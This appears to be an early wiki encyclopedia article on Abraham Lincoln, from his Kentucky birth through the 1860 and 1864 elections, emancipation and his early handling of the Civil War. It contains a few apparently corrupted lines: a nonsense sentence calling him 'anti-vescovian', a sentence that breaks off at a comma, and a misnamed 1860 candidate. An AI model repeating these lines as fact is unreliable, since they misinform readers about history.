President Lincoln was opposed to what he saw as the [[Slave Power]] and staunchly opposed its efforts to expand [[history of slavery in the United States|slavery]] into federal territories. His victory in the [[U.S. presidential election, 1860|1860 presidential election]] further polarized an already divided nation. Before his inauguration in March of 1861, seven [[Southern United States|Southern]] states [[secession|seceded]] from the [[United States]], formed the [[Confederate States of America]], and took control of U.S. forts and other properties within their boundaries. These events soon led to the [[American Civil War]].

Lincoln is often praised for his work as a wartime leader who proved adept at balancing competing considerations and at getting rival groups to work together toward a common goal. Lincoln had to negotiate between [[Radical Republican|Radical]] and Moderate Republican leaders, who were often far apart on the issues, while attempting to win support from [[War Democrats]] and loyalists in the seceding states. He personally directed the war effort, in close cooperation (1864-65) with General [[Ulysses S. Grant]] which ultimately led the Union forces to victory over the [[Confederate States of America|Confederacy]]. 

His leadership qualities were evident in his diplomatic handling of the border slave states at the beginning of the fighting, in his defeat of a congressional attempt to reorganize his cabinet in 1862, in his many speeches and writings which helped mobilize and inspire the North, and in his defusing of the peace issue in the [[U.S. presidential election, 1864|1864 presidential campaign]]. [[Copperheads (politics)|Copperheads]] vehemently criticized him for violating the Constitution, overstepping the bounds of executive power, refusing to compromise on slavery, declaring [[martial law]], suspending [[habeas corpus]], ordering the arrest of thousands of public officials and a number of newspaper publishers, and killing hundreds of thousands of young men. [[Radical Republicans]] criticized him for going too slow on abolition of slavery, and not being ruthless enough toward the conquered South.

Lincoln is most famous for his roles in preserving the Union and ending [[slavery]] in the United States with the [[Emancipation Proclamation]] and the [[Thirteenth Amendment to the United States Constitution]].  However, some abolitionists criticized him for only freeing the slaves under the Confederacy in 1863, and waiting until 1865 to free slaves held in the Union. 

Historians have argued that Lincoln had a lasting influence on U.S. political and social institutions, importantly setting a precedent for greater centralization of powers in the federal government and the weakening of the powers of the individual [[state government]]s. 

Lincoln spent most of his attention on military matters and politics but with his strong support his administration established the current system of [[national bank]]s with the [[National Bank Act]]. He increased the [[Morrill tariff|tariff]] to raise revenue and encourage factories, imposed the first [[Income tax in the United States|income tax]], issued hundreds of millions of dollars of bonds and Greenbacks, encouraged immigration from Europe, built the [[First Transcontinental Railroad|transcontinental railroad]], set up the [[United States Department of Agriculture|Department of Agriculture]], encouraged farm ownership with the [[Homestead Act]] of 1862, and set up the modern system of state universities with the [[Morrill Land-Grant Colleges Act]].  During the war his Treasury department effectively controlled all cotton trade in the occupied South--the most dramatic incursion of federal controls on the economy. During his administration [[West Virginia]] and [[Nevada]] were admitted as states.

Lincoln is usually [[historical rankings of U.S. Presidents|ranked as one of the greatest presidents]]. Because of his roles in destroying slavery, redefining national values, and saving the Union, his [[assassination]] made him a [[martyr]] to millions of Americans.  However, others considered him an unconstitutional tyrant for declaring martial law, suspending civil liberties, habeas corpus, and the First Amendment, and ordering the arrest of thousands of public officials and newspaper publishers.

==Early life==
Abraham Lincoln was born on [[February 12]], [[1809]], in a one-room [[log cabin]] on the 348 acre (1.4 km&amp;sup2;) Sinking Spring Farm in the Southeast part of [[Hardin County, Kentucky]], then considered the [[frontier]] (now part of [[LaRue County, Kentucky|LaRue Co.]], in Nolin Creek, three miles (5 km) south of  [[Hodgenville, Kentucky|Hodgenville]]), to [[Thomas Lincoln]] and [[Nancy Hanks]]. Lincoln was named after his deceased grandfather, who was [[scalping|scalped]] in 1786 in an Indian raid. He had no middle name. Lincoln's parents were uneducated, illiterate farmers. When Lincoln became famous, reporters and storytellers often exaggerated the poverty and obscurity of his birth. However Lincoln's father Thomas was a respected and relatively affluent citizen of the Kentucky backcountry. He had purchased the [[Abraham Lincoln Birthplace National Historic Site|Sinking Spring Farm]] in December 1808 for $200 cash and assumption of a debt. His parents belonged to a Baptist church that had pulled away from a larger church because they refused to support slavery.  From a very young age, Lincoln was exposed to anti-slavery sentiment.  However he never joined his parents' church, or any other church, and as a youth ridiculed religion.  

Three years after purchasing the property, a prior land claim filed in Hardin Circuit Court forced the Lincolns to move. Thomas continued legal action until he lost the case in 1815. Legal expenses contributed to family difficulties. In 1811, they were able to lease 30 acres (0.1 km&amp;sup2;) of a 230 acre (0.9 km&amp;sup2;) farm on Knob Creek a few miles away, where they then moved. In a valley of the [[Rolling Fork River]], this was some of the best farmland in the area. At this time, Lincoln's father was a respected community member and a successful farmer and carpenter. Lincoln's earliest recollections are from this farm.  In 1815, another claimant sought to eject the family from the [[Abraham Lincoln Birthplace National Historic Site|Knob Creek farm]].  Frustrated with litigation and lack of security provided by Kentucky courts, Thomas decided to move to [[Indiana]], which had been surveyed by the federal government, making land titles more secure.  It is possible that these episodes motivated Abraham to later learn surveying and become an attorney.  

In 1816, when Lincoln was seven years old, he and his parents moved to [[Spencer County, Indiana]], he would state &quot;partly on account of slavery&quot; and partly because of economic difficulties in Kentucky. In 1818, Lincoln's mother died of &quot;[[milk sickness]]&quot; at age thirty four, when Abe was nine.  Soon afterwards, Lincoln's father remarried to Sarah Bush Johnston.  Sarah Lincoln raised young Lincoln like one of her own children.  Years later she compared Lincoln to her own son, saying &quot;Both were good boys, but I must say — both now being dead that Abe was the best boy I ever saw or ever expect to see.&quot; (''Lincoln'', by David Herbert Donald, 1995)

In 1830, after more economic and land-title difficulties in Indiana, the family settled on government land on a site selected by Lincoln's father in [[Macon County, Illinois]]. The following winter was especially brutal, and the family nearly moved back to Indiana. When his father relocated the family to a nearby site the following year, the 22-year-old Lincoln struck out on his own, [[canoe]]ing down the Sangamon to [[Sangamon County, Illinois]] (now in [[Menard County, Illinois|Menard County]]), in the village of [[New Salem (Menard County), Illinois|New Salem]]. Later that year, hired by New Salem businessman [[Denton Offutt]] and accompanied by friends, he took goods from New Salem to [[New Orleans, Louisiana|New Orleans]] via [[flatboat]] on the Sangamon, [[Illinois River|Illinois]] and [[Mississippi River|Mississippi]] [[river]]s. While in New Orleans, he may have witnessed a slave auction that left an indelible impression on him for the rest of his life. Whether he actually witnessed a slave auction at that time or not, living in a country with a considerable slave presence, he probably saw similar atrocities from time to time.

His formal education consisted of perhaps 18 months of schooling from itinerant teachers. In effect he was self-educated, studying every book he could borrow.  He mastered the Bible, Shakespeare, English history and American history, and developed a plain style that puzzled audiences more used to orotund oratory.  He avoided hunting and fishing because he did not like killing animals even for food and, though unusually tall and strong, spent so much time reading that some neighbors thought he must be doing it to avoid strenuous manual labor. He was skilled with an axe—they called him the &quot;rail splitter&quot;—and a good wrestler. 

[[Image:Abe_Lincoln_young.jpg|thumb|200px|left|Young Abraham Lincoln]]

==Early career==
Lincoln began his political career in 1832 at the age of 23 with a campaign for the [[Illinois General Assembly]] as a member of the [[Whig Party (United States)|Whig Party]]. The centerpiece of his platform was the undertaking of navigational improvements on the [[Sangamon River]] in the hopes of attracting [[steamboat]] traffic to the river, which would allow sparsely populated, poor areas along and near the river to grow and prosper. He served as a captain in a company of the [[Illinois]] [[militia]] drawn from New Salem during the [[Black Hawk War]], although he never saw combat.  He wrote after being elected by his peers that he had not had &quot;any such success in life which gave him so much satisfaction.&quot;

He later tried and failed at several small-time business ventures. He held an Illinois state [[liquor]] license and sold whiskey.  Finally, after coming across the second volume of [[Sir William Blackstone]]'s four-volume ''[[Commentaries on the Laws of England]]'', he taught himself the [[law]], and was admitted to the [[Illinois State Bar Association|Illinois Bar]] in 1837. That same year, he moved to [[Springfield, Illinois]] and began to practice law with [[Stephen T. Logan]]. He became one of the most respected and successful lawyers in the prairie state, and grew steadily more prosperous. Lincoln served four successive terms in the [[Illinois House of Representatives]], as a representative from [[Sangamon County, Illinois|Sangamon County]], beginning in 1834.  He became a leader of the Whig party in the legislature.  In 1837 he made his first protest against slavery in the Illinois House, stating that the institution was &quot;founded on both injustice and bad policy.&quot; [http://www.hti.umich.edu/l/lincoln/]

Lincoln shared a bed with [[Joshua Fry Speed]] from 1837 to 1841 in Springfield. While many historians claim it was not uncommon in the mid-19th century for men to share a bed (just as two men today may share a house or an apartment), gay activist [[C. A. Tripp]] generated controversy with his 2005 book ''[[The Intimate World of Abraham Lincoln]]'', which suggested their relationship may also have been sexual.  

In 1841, Lincoln entered law practice with [[William Herndon (lawyer)|William Herndon]], a fellow Whig. In 1856, both men joined the fledgling [[Republican Party (United States)|Republican Party]]. Following Lincoln's assassination, Herndon began collecting stories about Lincoln from those who knew him in central Illinois, eventually publishing a book, ''Herndon's Lincoln''.  Lincoln never joined an antislavery society and denied he supported the abolitionists.  He married into a prominent slave-owning family from Kentucky, and allowed his children to spend time there surrounded by slaves. Several of his in-laws became Confederate officers.  He greatly admired the science that flourished in New England, and was perhaps the only father in Illinois at the time to send his son, [[Robert Todd Lincoln]], to elite eastern schools, [[Phillips Exeter Academy]] and [[Harvard College]].

==Marriage==
On [[November 4]], [[1842]], at the age of 33, Lincoln married [[Mary Todd Lincoln|Mary Todd]]. The couple had four sons.
*[[Robert Todd Lincoln]]: b. [[August 1]], [[1843]], in Springfield, Illinois; d. [[July 26]], [[1926]], in [[Manchester, Vermont]].
*[[Edward Baker Lincoln]]: b. [[March 10]], [[1846]], in Springfield, Illinois; d. [[February 1]], [[1850]], in Springfield, Illinois. 
*[[William Wallace Lincoln]]: b. [[December 21]], [[1850]], in Springfield, Illinois; d. [[February 20]], [[1862]], in Washington, D.C.
*[[Thomas (Tad) Lincoln]]: b. [[April 4]], [[1853]], in Springfield, Illinois; d. [[July 16]], [[1871]], in [[Chicago, Illinois]].

Only Robert survived into adulthood. Of Robert's three children, only [[Jessie Harlan Lincoln|Jessie Lincoln]] had any children (two: Mary Lincoln Beckwith and Robert Todd Lincoln Beckwith). Neither Robert Beckwith nor Mary Beckwith had any children, so Abraham Lincoln's bloodline ended when Robert Beckwith (Lincoln's great-grandson) died on [[December 24]], [[1985]].
[http://members.aol.com/beaufait/biography/geneology.htm]

==Illinois politics==
[[Image:Abelincoln1846.jpeg|thumb|Lincoln in 1846 or 1847]]
In 1846, Lincoln was elected to one term in the [[United States House of Representatives|U.S. House of Representatives]]. A staunch Whig, Lincoln often referred to party leader [[Henry Clay]] as his political idol. As a freshman House member, Lincoln was not a particularly powerful or influential figure in Congress. He used his office as an opportunity to speak out against the [[Mexican-American War|war]] with [[Mexico]], which he attributed to [[James Knox Polk|President Polk]]'s desire for &quot;military glory — that attractive rainbow, that rises in showers of blood.&quot;

Lincoln was a key early supporter of [[Zachary Taylor]]'s candidacy for the [[U.S. presidential election, 1848|1848 '''Whig Presidential nomination]]. When Lincoln's term ended, the incoming Taylor administration offered him the governorship of remote [[Oregon Territory]]. Acceptance would end his career in the fast-growing state of Illinois, so he declined. Returning instead to [[Springfield, Illinois]] he turned''' most of his energies to making a living at the [[bar (law)|bar]], which involved extensive travel on horseback from county to county.

==Prairie lawyer==
By the mid-1850s, Lincoln faced competing transportation interests — both the river [[barge]]s and the [[railroad]]s. In 1849, he received a patent related to buoying vessels. Lincoln represented the [[Alton &amp; Sangamon Railroad]] in an 1851 dispute with one of its shareholders, [[James A. Barret]]. Barret had refused to pay the balance on his pledge to that corporation on the grounds that it had changed its originally planned route. Lincoln argued that as a matter of law a corporation is not bound by its original charter when that charter can be amended in the public interest, that the newer proposed Alton &amp; Sangamon route was superior and less expensive, and that accordingly the corporation had a right to sue Mr. Barret for his delinquent payment. He won this case, and the decision by the [[Illinois Supreme Court]] was eventually cited by several other courts throughout the United States.

Another important example of Lincoln's skills as a railroad lawyer was a lawsuit over a tax exemption that the state granted to the [[Illinois Central Railroad]]. [[McLean County, Illinois|McLean County]] argued that the state had no authority to grant such an exemption, and it sought to impose taxes on the railroad notwithstanding. In January 1856, the Illinois Supreme Court delivered its opinion upholding the tax exemption, accepting Lincoln's arguments.

Lincoln's most notable criminal trial came in 1858 when he defended [[William &quot;Duff&quot; Armstrong]], who was on trial for the murder of [[James Preston Metzker]]. The case is famous for Lincoln's use of [[judicial notice]], a rare tactic at that time, to show an eyewitness had lied on the stand, claiming he witnessed the crime in the moonlight. Lincoln produced a [[Farmer's Almanac]] to show that the moon on that date was at such a low angle it could not have produced enough illumination to see anything clearly. Based upon this evidence, Armstrong was acquitted.

==Republican politics 1854-1860==
The [[Kansas-Nebraska Act]] of 1854, which expressly repealed the limits on slavery's spread that had been part of the [[Missouri Compromise]] of 1820, drew Lincoln back into politics.

Illinois Democrat [[Stephen A. Douglas]], the most powerful man in the Senate, proposed [[popular sovereignty]] as the solution to the slavery impasse, incorporating it into the Kansas-Nebraska Act. Douglas argued that in a democracy the people of a territory should decide whether to allow slavery or not, and not have a decision imposed on them by Congress.

It was a speech against Kansas-Nebraska, on [[October 16]], [[1854]] in [[Peoria, Illinois|Peoria]], that caused Lincoln to stand out among the other [[free soil]] orators of the day. He helped form the new Republican party, drawing on remnants of the old Whig, [[Free Soil Party|Free Soil]], Liberty and Democratic parties.  
In a stirring campaign, the Republicans carried Illinois in 1854, and elected a senator. Lincoln was the obvious choice, but to keep party unity he allowed the election to go to his colleague [[Lyman Trumbull]].

In 1857-58 Douglas broke with President [[James Buchanan|Buchanan]], leading to a terrific fight for control of the Democratic party.  Some eastern Republicans even favored the reelection of Douglas in 1858, since he led the opposition to the administration's push for the [[Lecompton Constitution]] which would have admitted Kansas as a [[slave state]].  Accepting the Republican nomination for the Senate in 1858, Lincoln delivered a famous speech [http://www.nationalcenter.org/HouseDivided.html] in which he stated, &quot;A house divided against itself cannot stand. I believe this government cannot endure permanently half slave and half free. I do not expect the Union to be dissolved — I do not expect the house to fall — but I do expect it will cease to be divided. It will become all one thing, or all the other.&quot; The speech created a lasting image of the danger of disunion due to slavery, and rallied Republicans across the north.

The 1858 campaign featured the [[Lincoln-Douglas Debates of 1858|Lincoln-Douglas debates]], a nationally noticed discussion on the issues that threatened to split the nation in two. Lincoln forced Douglas to propose his [[Freeport Doctrine]], which lost him further support among slave-holders and speeded the division of the Democratic Party. Though the Republican legislative candidates won more popular votes, the Democrats won more seats and the legislature reelected Douglas to the Senate. Nevertheless, Lincoln's eloquence transformed him into a national political star.

During the debates of 1858 the issue of race was often discussed. During a time period when racial egalitarianism was considered politically incorrect, Stephen Douglas would inform the crowds, “If you desire negro citizenship…if you desire them to vote on an equality with yourselves… then support Mr. Lincoln and the Black Republican party, who are in favor of the citizenship of the negro.” [http://www.nps.gov/liho/debate1.htm (Official Records of Debate)] On the defensive Lincoln countered that he was “not in favor of bringing about in any way the social and political equality of the white and black races.”  [http://www.nps.gov/liho/debate4.htm (Official Records of Debate)] Historians generally remained mixed on what Lincoln’s actual views were on race.  However, many tend to doubt that the highly political nature of these debates offer reliable evidence about his personal views. (Team of Rivals, by Doris Kearns Goodwin, 2005) (Lincoln: In Text and Context, by Donald Fehrenbacher, 1987) As Fredrick Douglass observed, “[Lincoln was] the first great man that I talked with in the United States freely who in no single instance reminded me of the difference between himself and myself, of the difference of color.” (Life and Times of Fredrick Douglass, by Fredrick Douglass, 1895)

Lincoln's opposition to slavery was opposition to the [[Slave Power]], and he was not an abolitionist in 1858. But the Civil War changed everything, and changed Lincoln's beliefs in race relations as well.

==Election of 1860==
[[Image:The Rail Candidate.jpg|thumb|&quot;The Rail Candidate&quot;, political cartoon, 1860]]
Entering the  presidential nomination process as a distinct underdog, Lincoln was eventually chosen as the Republican candidate for the [[U.S. presidential election, 1860|1860 election]] for several reasons. His expressed views on slavery were seen as more moderate than rivals [[William H. Seward]] and [[Salmon Chase]]. His &quot;western&quot; origins also appealed to the newer states. Other contenders, especially those with more governmental experience, had acquired enemies within the party, specifically Seward, who had run afoul of newspaperman [[Horace Greeley]]. During the campaign, Lincoln was dubbed &quot;The Rail Splitter&quot; by Republicans to emphasize the power of &quot;free labor,&quot; whereby a common farm boy could work his way to the top by his own efforts. 

On [[November 6]], [[1860]], Lincoln was elected the 16th President of the United States, beating Democrat Douglas, [[John C. Breckenridge]] of the Southern Democrats, and [[John C. Bell]] of the new [[Constitutional Union Party (United States)|Constitutional Union Party]].  Lincoln was the first Republican president. He won entirely on the strength of his support in the North: he was not even on the ballot in nine states in the South — and won only 2 of 996 counties there. Lincoln gained 1,865,908 votes (39.9% of the total,) for 180 electoral votes, Douglas 1,380,202 (29.5%) for 12 electoral votes, Breckenridge 848,019 (18.1%) for 72 electoral votes, and Bell 590,901 (12.5%) for 39 electoral votes.  There were fusion tickets in some states, but even if his opponents had combined in every state, Lincoln  had a majority vote in all but two of the states in which he won the electoral votes, and would still have won the electoral college and the election.

==Secession winter 1860-61==
As Lincoln's election became more and more probable, secessionists made it clear that their states would leave the Union. South Carolina took the lead followed by six other [[cotton]]-growing states: Georgia, Florida, Alabama, Mississippi, Louisiana, and Texas. The upper South (Delaware, Maryland, Virginia, North Carolina, Tennessee, Kentucky, Missouri, and Arkansas) listened to and rejected the secessionist appeal. They decided to stay in the Union, though warning Lincoln they would not support an invasion through their territory. The seven Confederate states seceded before Lincoln took office, declaring themselves an entirely new nation, the [[Confederate States of America]]. President Buchanan and president-elect Lincoln refused to recognize the Confederacy.

President-elect Lincoln survived an [[assassination]] threat in Baltimore, and on [[February 23]], [[1861]] arrived in disguise in Washington. At Lincoln's inauguration on [[March 4]], [[1861]], the [[Turners]] formed Lincoln's bodyguard; and a sizable garrison of federal troops was also present, ready to protect the capital from Confederate invasion or insurrection from Confederates in the capital city. 

[[Image:Abraham lincoln inauguration 1861.jpg|thumb|left|175px|Photograph showing [[March 4]], [[1861]] inauguration of Abraham Lincoln in front of U.S. Capitol]]
In his [[Lincoln's First Inaugural|First Inaugural]] Address, Lincoln declared, &quot;I hold that in contemplation of universal law and of the Constitution the Union of these States is perpetual. Perpetuity is implied, if not expressed, in the fundamental law of all national governments&quot;, arguing further that the purpose of the [[United States Constitution]] was &quot;to form a more perfect union&quot; than the [[Articles of Confederation]] which were ''explicitly'' perpetual, and thus the Constitution too was perpetual. He asked rhetorically that even were the Constitution a simple contract, would it not require the agreement of all parties to rescind it? 

Also in his inaugural address, in a final attempt to unite the Union and prevent the looming war, Lincoln supported the proposed [[Corwin amendment|Corwin Amendment]] to the constitution, of which he had been a driving force. It would have explicitly protected slavery in those states in which it already existed, and had already passed both houses. Lincoln adamantly opposed the [[Crittenden Compromise]], however, which would have permitted slavery in the territories, renewing the boundary set by the [[Missouri Compromise]] and extending it to [[California]]. Despite support for this compromise among some Republicans, Lincoln declared that were the Crittenden Compromise accepted, it &quot;would amount to a perpetual covenant of war against every people, tribe, and state owning a foot of land between here and [[Tierra del Fuego]].&quot; 

Because opposition to slavery expansion was the key issue uniting the Republican Party at the time, Lincoln is sometimes criticized for putting politics ahead of the national interest in refusing any compromise allowing the expansion of slavery. Supporters of Lincoln, however, point out that he did not oppose slavery because he was a Republican, but became a Republican because of his opposition to the expansion of slavery, that he opposed several other Republicans who were in favor of compromise, and that he clearly thought his course of action was in the national interest.  By the time Lincoln took office the Confederacy was an established fact and not a single leader of that country ever proposed rejoining the Union on any terms. No compromise was found because no compromise was possible.  Lincoln perhaps could have allowed the southern states to secede, and some Republicans recommended that. However conservative Democratic nationalists, such as [[Jeremiah S. Black]], [[Joseph Holt]], and [[Edwin M. Stanton]] had taken control of Buchanan's cabinet around January 1, 1861, and refused to accept secession.  Lincoln, and nearly all Republican leaders, adopted this nationalistic position by March, 1861: the Union could not be broken.

==War begins: 1861-1862==
{{main|American Civil War}}
After Union troops at [[Battle of Fort Sumter|Fort Sumter]] were fired on and forced to surrender in April, Lincoln called on governors of every state to send 75,000 troops to recapture forts, protect the capital, and &quot;preserve the Union,&quot; which in his view still existed intact despite the actions of the seceding states.  Virginia, which had repeatedly warned Lincoln it would not allow an invasion of its territory or join an attack on another state, then seceded, along with North Carolina, Tennessee and Arkansas. 

The slave states of Missouri, Kentucky, Maryland, and Delaware did not secede, and Lincoln urgently negotiated with state leaders there, promising not to interfere with slavery in loyal states.

==Emancipation Proclamation==
[[Image:Emancipation_proclamation.jpg|thumb|300px|right|Lincoln met with his Cabinet for the first reading of the [[Emancipation Proclamation]] draft on [[July 22]], [[1862]].]]
{{main articles|[[Abraham Lincoln on slavery]] and [[Emancipation Proclamation]]}} 
Congress in July 1862 moved to free the slaves by passing the Second Confiscation Act. It provided:
:That if any person shall hereafter incite, set on foot, assist, or engage in any rebellion or insurrection against the authority of the United States, or the laws thereof, or shall give aid or comfort thereto, or shall engage in, or give aid and comfort to, any such existing rebellion or insurrection, and be convicted thereof, such person shall be punished by imprisonment for a period not exceeding ten years, or by a fine not exceeding ten thousand dollars, and by the liberation of all his slaves, if any he have; or by both of said punishments, at the discretion of the court.
:....
:SEC. 9. And be it further enacted, That all slaves of persons who shall hereafter be engaged in rebellion against the government of the United States, or who shall in any way give aid or comfort thereto, escaping from such persons and taking refuge within the lines of the army; and all slaves captured from such persons or deserted by them and coming under the control of the government of the United States; and all slaves of such person found on [or] being within any place occupied by rebel forces and afterwards occupied by the forces of the United States, shall be deemed captives of war, and shall be forever free of their servitude, and not again held as slaves.

Thus everyone who 60 days after [[July 17]], [[1862]] supported the rebellion was to be punished by having all their slaves freed. The goal was to weaken the rebellion, which was led and controlled by slave owners. This did not abolish the legal institution of slavery (the XIII Amendment did that), but it shows Lincoln had the support of (and was even somewhat pushed by) Congress in liberating the slaves owned by rebels.  Lincoln implemented the new law by his &quot;Emancipation Proclamation.&quot; 

Lincoln is well known for ending slavery in the United States and he personally opposed slavery as a profound moral evil not in accord with the principle of equality asserted in the [[Declaration of Independence (United States)|Declaration of Independence]]. Yet, Lincoln's views of the role of the federal government on the subject of slavery are more complicated. Before the Confederate states seceded, Lincoln had campaigned against the expansion of slavery into the [[Historic regions of the United States|territories]], where Congress did have authority. However, he maintained that the federal government could not constitutionally bar slavery in states where it already existed. During his presidency, Lincoln made it clear that the North was fighting the war to preserve the Union, not to abolish slavery. Freeing the slaves was a war measure to weaken the rebellion by destroying the economic base of its leadership class. Lincoln was criticized both at home and abroad for his refusal to take a stand for the complete abolition of slavery. On [[August 22]], [[1862]], a few weeks before signing the Proclamation, and after it had already been drafted, Lincoln responded by letter to an editorial by [[Horace Greeley]] of the ''[[New York Tribune]]'' which had urged abolition: 
:I would save the Union. I would save it the shortest way under the Constitution. The sooner the national authority can be restored; the nearer the Union will be &quot;the Union as it was.&quot; If there be those who would not save the Union, unless they could at the same time save slavery, I do not agree with them. If there be those who would not save the Union unless they could at the same time destroy slavery, I do not agree with them. My paramount object in this struggle is to save the Union, and is not either to save or to destroy slavery. If I could save the Union without freeing any slave I would do it, and if I could save it by freeing all the slaves I would do it; and if I could save it by freeing some and leaving others alone I would also do that. What I do about slavery, and the colored race, I do because I believe it helps to save the Union; and what I forbear, I forbear because I do not believe it would help to save the Union. I shall do less whenever I shall believe what I am doing hurts the cause, and I shall do more whenever I shall believe doing more will help the cause. I shall try to correct errors when shown to be errors; and I shall adopt new views so fast as they shall appear to be true views.
:I have here stated my purpose according to my view of official duty; and I intend no modification of my oft-expressed personal wish that all men everywhere could be free.[http://showcase.netins.net/web/creative/lincoln/speeches/greeley.htm]

With the [[Emancipation Proclamation]] issued in two parts on [[September 22]], [[1862]] and [[January 1]], [[1863]], Lincoln made the abolition of slavery a goal of the war. Lincoln addresses the issue of his consistency (or lack thereof) between his earlier position and his later position on emancipation in an 1864 letter to [[Albert G. Hodges]][http://showcase.netins.net/web/creative/lincoln/speeches/hodges.htm] 

Lincoln is often credited with freeing enslaved [[African Americans]] with the [[Emancipation Proclamation]]. However, border states that still allowed slavery but were under Union control were exempt from the emancipation because they were not covered under any war measures. The proclamation on its first day, [[January 1]], [[1863]], freed only a few escaped slaves, but as Union armies advanced south more and more slaves were liberated until hundreds of thousands were freed (exactly how many is unknown).  Lincoln signed the Proclamation as a wartime measure, insisting that only the outbreak of war gave constitutional power to the President to free slaves in states where it already existed.  He later said: &quot;I never, in my life, felt more certain that I was doing right, than I do in signing this paper.&quot; The proclamation made abolishing slavery in the rebel states an official war goal and it became the impetus for the enactment of the [[Thirteenth Amendment to the United States Constitution|13th Amendment]] to the [[United States Constitution]] which abolished slavery; Lincoln was one of the main promoters of that amendment. 

Although some Northern conservatives recoiled at the notion that the war was now being fought for the slaves instead of for preserving the Union, in the end the Emancipation Proclamation  did much to help the Northern cause politically. Lincoln's strong [[abolitionist]] stand finally convinced the [[United Kingdom of Great Britain and Ireland]] and other foreign countries that they could not support the [[Confederate States of America]].  This move remains one of the great seizures of private property by the federal government, restoring the ownership of the blacks to themselves,

Lincoln had for some time been working on plans to set up [[Abraham Lincoln on slavery#Colonization|colonies]] in Africa and South America for the nearly 4 million newly freed slaves. He remarked upon colonization favorably in the Emancipation Proclamation, but all attempts at such a massive undertaking failed.

==Important domestic measures of Lincoln's first term==
[[Image:Lincoln.png|thumb|right|While Lincoln is usually portrayed bearded, he first grew a beard in 1861 at the suggestion of 11-year-old [[Grace Bedell]].]]

Lincoln believed in the Whig theory of the presidency, which left Congress to write the laws. He was anti-vescovian. He signed them, vetoing only bills that threatened his war powers.  Thus he signed the [[Homestead Act]] in 1862, making available millions of acres of government-held land in the west for purchase at very low cost. The [[Morrill Land-Grant Colleges Act]], also signed in 1862, provided government grants for [[agricultural universities]] in each state. Lincoln also signed the Pacific Railway Acts of 1862 and 1864, which granted federal support to the construction of the United States' first transcontinental railroad, which was completed in 1869.  The most important legislation involved money matters, including the first income tax and higher tariffs.  Most important was the creation of the system of national banks by the [[National Banking Act]]s of 1863, 1864 and 1865 which allowed the creation of a strong national financial system. 

Lincoln sent a senior general to put down the &quot;[[Sioux Uprising |Sioux Uprising]]&quot; of August 1862 in [[Minnesota]]. Presented with 303 death warrants for convicted [[Santee Dakota]] who had massacred innocent farmers, Lincoln affirmed 39 of these for execution (one was later reprieved).

==1864 election and second inauguration==
After Union victories at [[Battle of Gettysburg|Gettysburg]], [[Battle of Vicksburg|Vicksburg]] and [[Battle of Chattanooga|Chattanooga]] in 1863, many in the North believed that victory was soon to come after Lincoln appointed [[Ulysses S. Grant|U.S. Grant]] General-in-Chief on [[March 12]], [[1864]].  Although no president since [[Andrew Jackson]] had been elected to a second term (and none since [[Martin Van Buren|Van Buren]] had been re-nominated), Lincoln's re-election was considered a certainty.

However, when the spring campaigns, east and west, all turned into bloody stalemates, Northern morale dipped and Lincoln seemed less likely to be re-nominated.  [[U.S. Treasury Secretary|Treasury Secretary]] [[Salmon P. Chase]] strongly desired the Republican nomination and was working hard to win it, while [[John Fremont]] was nominated by a breakoff group of radical Republicans, potentially taking away crucial votes in the November elections.

Fearing he might lose the election, Lincoln wrote out and signed the following pledge, but did not show it to his cabinet, asking them each to sign the sealed envelope. Lincoln wrote:

:This morning, as for some days past, it seems exceedingly probable that this Administration will not be re-elected.  Then it will be my duty to so co-operate with the President elect, as to save the Union between the election and the inauguration; as he will have secured his election on such ground that he can not possibly save it afterwards.

The Democrats, hoping to make setbacks in the war a top campaign issue, waited until late summer to nominate a candidate.  Their platform was heavily influenced by the [[Copperheads (politics)|Peace wing]] of the party, calling the war a &quot;failure,&quot; but their candidate, former General [[George McClellan]], was a [[War Democrats|War Democrat]], determined to prosecute the war until the Union was restored, although willing to compromise on all other issues, including slavery.

McClellan's candidacy was soon undercut as on [[September 1]], just two days after the [[1864 Democratic National Convention|convention]], [[Battle of Atlanta|Atlanta]] was abandoned by the Confederate army.  Coming on the heels of [[David Farragut|David Farragut's]] capture of [[Battle of Mobile Bay|Mobile Bay]] and followed by [[Phil Sheridan|Phil Sheridan's]] crushing victory over [[Jubal Anderson Early|Jubal Early's]] army at [[Battle of Cedar Creek|Cedar Creek]], it was now apparent that the tide had turned in favor of the Union and that Lincoln may be reelected despite the costs of the war.

Still, Lincoln believed that he would win the [[U.S. Electoral College|electoral vote]] by only a slim margin, failing to give him the [[Mandate (politics)|mandate]] he'd need if he was to push his lenient [[reconstruction]] plan.  To his surprise, Lincoln ended up winning all but two states, capturing 212 of 233 electoral votes.

After Lincoln's election, on [[March 4]], [[1865]], he delivered his [[Lincoln's second inaugural address|second inaugural address]], which was his favorite of all his speeches. At this time, a victory over the rebels was within sight, [[slavery]] had effectively ended, and Lincoln was looking to the future.

:Fondly do we hope--fervently do we pray--that this mighty scourge of war may speedily pass away. Yet, if God wills that it continue, until all the wealth piled by the bond-man's two hundred and fifty years of unrequited toil shall be sunk, and until every drop of blood drawn with the lash, shall be paid by another drawn with the sword, as was said three thousand years ago, so still it must be said &quot;the judgments of the Lord, are true and righteous altogether&quot;
:With malice toward none; with charity for all; with firmness in the right, as God gives us to see the right, let us strive on to finish the work we are in; to bind up the nation's wounds; to care for him who shall have borne the battle, and for his widow, and his orphan--to do all which may achieve and cherish a just and lasting peace, among ourselves, and with all nations.

==Civil War and reconstruction==
===Conducting the war effort===
The war was a source of constant frustration for the president, and it occupied nearly all of his time. Lincoln had a contentious relationship with General [[George B. McClellan]], who became general-in-chief of all the Union armies in the wake of the embarrassing Union defeat at the [[First Battle of Bull Run]] and after the retirement of [[Winfield Scott]] in late 1861. Lincoln wished to take an active part in planning the war strategy despite his inexperience in military affairs. Lincoln's strategic priorities were two-fold: first, to ensure that Washington, D.C., was well-defended; and second, to conduct an aggressive war effort in hopes of ending the war quickly and appeasing the Northern public and press, who pushed for an offensive war. McClellan, a youthful [[United States Military Academy|West Point]] graduate and railroad executive called back to military service, took a more cautious approach. McClellan took several months to plan and execute his [[Peninsula Campaign]], which involved capturing [[Richmond, Virginia|Richmond]] by moving the [[Army of the Potomac]] by boat to the [[Virginia Peninsula|peninsula]] between the [[James River (Virginia)|James]] and [[York River (Virginia)|York Rivers]]. McClellan's delay irritated Lincoln, as did McClellan's insistence that no troops were needed to defend Washington, D.C. Lincoln insisted on holding some of McClellan's troops to defend the capital, a decision McClellan blamed for the ultimate failure of his Peninsula Campaign.

